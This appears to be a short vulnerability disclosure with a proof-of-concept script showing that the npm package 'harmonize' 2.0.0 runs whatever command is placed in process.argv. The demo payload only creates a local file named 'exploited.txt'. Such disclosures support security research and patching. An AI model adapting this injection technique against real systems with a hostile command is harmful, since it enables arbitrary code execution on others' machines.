Package harmonize: by editing the process.argv it is possible to influence the command and flags invoked inside harmonize.

harmonize-2.0.0_poc.js

'use strict'

const pkg = require('harmonize');

process.argv[0] = 'touch';
process.argv.push('exploited.txt');

const flags = [];

/* This will create a local 'exploited.txt'.
 * harmonize calls child_process.spawn(process.argv[0], flags.concat(process.argv.slice(1)), etc).
 */
pkg(flags);